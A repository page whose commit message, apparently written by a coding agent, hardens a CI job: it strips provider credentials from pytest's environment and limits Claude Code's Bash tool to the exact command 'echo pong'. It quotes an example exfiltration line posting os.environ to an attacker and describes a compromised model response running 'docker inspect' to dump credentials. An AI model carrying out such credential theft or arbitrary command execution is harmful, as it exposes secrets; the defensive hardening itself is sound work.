Cursor Agent 83ea86718b fix(ci): scrub pytest env + narrow Bash tool-use to exact echo pong ... Address two new Veria comments (2026-05-18T00:10:41Z) on the claude_code_compat_pr_gate job: 1. .circleci/config.yml (Veria: provider credentials exposed to PR code) The pytest step runs PR-controlled test code (anything under tests/claude_code/) and the CircleCI job env carries the provider creds used to start the proxy container. A malicious PR could add `requests.post(attacker, data=os.environ)` to any test or conftest hook and exfiltrate ANTHROPIC_API_KEY / AWS_* / VERTEXAI_* / AZURE_FOUNDRY_* / GITHUB_TOKEN. Pytest only needs to talk to the proxy at localhost:4000, so the credentials are not legitimately required in pytest's env. Wrap the invocation in `env -i` with a minimal allowlist (PATH / HOME / USER / TERM / LANG / LC_ALL / TMPDIR + the four proxy/result-path vars pytest actually reads). Pinned by a new test in test_circleci_pr_gate_wiring.py so the scrub cannot silently regress. 2. tests/claude_code/{tool_use,tool_use_streaming,thinking_with_tool_use} (Veria: model-controlled Bash execution in CI) The three Bash-using feature directories passed `--allowed-tools Bash` unrestricted, which lets a compromised provider response choose any host command to run instead of `echo pong`. On the PR-gate machine executor that command could `docker inspect compat-proxy` to dump provider creds from the proxy container. Tighten every Bash-using cell (15 files total, 5 providers × 3 feature dirs) to: - --allowed-tools 'Bash(echo pong)' — exact-match pattern per Claude Code's permission rule syntax. A different command does not match the allow rule. - --permission-mode dontAsk — auto-denies tool calls outside the allow rule instead of falling back to the headless default (which would defeat the explicit-allow contract). thinking_with_tool_use prompts are tightened to pin the command to 'echo pong' so the cell can run under the new restriction while still exercising the thinking + tool_use shape. Pinned by a new parametrized test (15 cells × 2 properties = 30 cases) in test_bash_tool_restrictions.py. The model-Bash mitigation is layered on top of the existing cli_driver env allowlist (which already scrubs provider creds from the CLI subprocess env, so even a malicious `echo $ANTHROPIC_API_KEY` prints nothing) and the build-and-test branch filter (which keeps external forks from running this job at all). It is not a substitute for a fully sandboxed CLI runner; the residual risk of Claude Code's built-in read-only `echo` auto-approve is documented in the per-cell comments alongside the restriction. All 223 tests/claude_code/ unit tests pass. Co-authored-by: Cursor Agent <cursoragent@cursor.com>		2026-05-18 00:25:43 +00:00
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__init__.py	RALPH: compat matrix slice 3 - wire PR gate in CircleCI (#26479, PRD #26476)	2026-05-06 23:27:05 +00:00
test_bash_tool_restrictions.py	fix(ci): scrub pytest env + narrow Bash tool-use to exact echo pong	2026-05-18 00:25:43 +00:00
test_circleci_pr_gate_wiring.py	fix(ci): scrub pytest env + narrow Bash tool-use to exact echo pong	2026-05-18 00:25:43 +00:00
test_pr_gate_version_resolver.py	RALPH: compat matrix slice 3 - wire PR gate in CircleCI (#26479, PRD #26476)	2026-05-06 23:27:05 +00:00